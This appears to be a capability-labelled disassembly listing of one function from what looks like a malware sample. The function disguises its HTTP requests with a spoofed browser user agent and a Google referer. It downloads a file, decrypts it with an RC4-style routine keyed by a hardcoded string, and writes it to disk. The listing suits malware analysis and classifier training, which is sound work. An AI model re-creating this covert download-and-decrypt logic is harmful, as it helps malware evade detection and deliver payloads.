Function at 0x10013620
Capabilities:
Check http status code
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
xor ebx, ebx
push 0xff
mov esi, eax
lea eax, [ebp - 0x11f]
push ebx
xor edi, edi
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], edi
mov byte [ebp - 0x120], bl
call sub.MSVCRT.dll_memset
xor ecx, ecx
add esp, 0xc
mov word [ebp - 0x20], cx
cmp esi, ebx
je 0x100139a2
cmp dword [ebp + 0xc], ebx
je 0x100139a2
cmp dword [ebp + 0x20], ebx
je 0x100136d1
xor eax, eax
mov word [ebp - 0x20], 1
mov byte [ebp + ecx - 0x120], cl
inc ecx
cmp ecx, 0x100
jl 0x10013681
xor ecx, ecx
jmp 0x100136a0
mov dl, byte [eax + str.as743vgk0odastr]
xor byte [ebp + ecx - 0x120], dl
inc eax
cmp eax, 0xf
jl 0x100136b5
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x100136a0
mov eax, dword [ebp + 0x18]
mov edx, dword [ebp + 0x1c]
push eax
push eax
lea eax, [ebp - 0x120]
call fcn.10016c40
mov eax, dword [ebp + 8]
push 0x4000000
push ebx
push ebx
push eax
push str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
mov dword [ebp - 0x14], edi
cmp edi, ebx
je 0x100139ad
push 1
push ebx
push 3
push ebx
push ebx
push 0x50
push esi
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp + 8], esi
cmp esi, ebx
je 0x1001398f
mov eax, 0x10047430
cmp dword [ebp + 0x14], ebx
je 0x10013721
mov eax, str.POST
mov ecx, dword [ebp + 0xc]
push 1
push ebx
push ebx
push ebx
push str.HTTP_1.0
push ecx
push eax
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
mov dword [ebp + 0xc], edi
cmp edi, ebx
je 0x10013985
cmp dword [ebp + 0x14], 1
mov esi, dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
jne 0x10013764
cmp dword [ebp + 0x24], ebx
jne 0x10013764
push 0x20000000
push 0xffffffffffffffff
push str.Content_Type:_application_x_www_form_urlencoded_r_n
push edi
call esi
push 0x20000000
push 0xffffffffffffffff
push str.Referer:_http:__www.google.com_r_n
push edi
call esi
cmp dword [ebp + 0x24], ebx
je 0x100137a8
push 0x10057980
push str.Content_Type:_multipart_form_data__boundary____________________________s_r_n
lea edx, [ebp - 0x228]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 0x20000000
push 0xffffffffffffffff
lea eax, [ebp - 0x228]
push eax
push edi
call esi
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ebp + 0x18]
push ecx
push edx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x1001397b
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 8]
push edx
push 0x20000013
push edi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x1001397b
cmp dword [ebp - 8], 0xc8
jne 0x1001397b
mov eax, dword [ebp + 0x10]
push ebx
push 0x80
push 2
push ebx
push 3
push 0xc0000000
push eax
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1001397b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x1010
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x100138c3
push 0x1010
push 0
push esi
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 0xc]
add esp, 0xc
lea ecx, [ebp + 0x20]
push ecx
push 0x1000
push esi
push edx
mov dword [ebp + 0x20], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x100138a7
mov eax, dword [ebp + 0x20]
test eax, eax
je 0x100138a7
push 0
lea ecx, [ebp + 0x14]
push ecx
push eax
push esi
push ebx
mov dword [ebp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10013820
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10013820
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100138c3
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
je 0x100138ea
lea edx, [ebp + 0x14]
push edx
push ebx
mov dword [ebp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100138ea
test byte [ebp + 0x14], 2
jne 0x100138ea
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp + 0x10]
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, ebx
call fcn.10006570
mov esi, eax
test esi, esi
je 0x10013978
xor eax, eax
mov word [ebp - 0x20], 1
xor ecx, ecx
lea ebx, [ebx]
mov byte [ebp + ecx - 0x120], cl
inc ecx
cmp ecx, 0x100
jl 0x10013910
xor ecx, ecx
mov dl, byte [eax + str.as743vgk0odastr]
xor byte [ebp + ecx - 0x120], dl
inc eax
cmp eax, 0xf
jl 0x10013937
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10013922
mov edx, dword [ebp - 0xc]
push esi
push esi
lea eax, [ebp - 0x120]
call fcn.10016c40
mov eax, dword [ebp - 0xc]
push eax
push esi
mov eax, ebx
call fcn.100064d0
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10013978
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [ebp + 0xc]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x14]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x20
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x20
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 0x20